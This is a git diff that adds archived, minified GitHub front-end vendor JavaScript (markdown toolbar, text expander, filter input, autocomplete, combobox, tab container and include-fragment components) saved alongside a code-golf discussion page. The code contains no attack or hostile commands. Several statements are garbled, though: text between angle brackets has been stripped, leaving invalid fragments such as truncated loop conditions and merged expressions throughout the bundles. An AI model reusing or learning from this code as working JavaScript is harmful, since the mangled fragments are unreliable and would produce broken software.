ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return 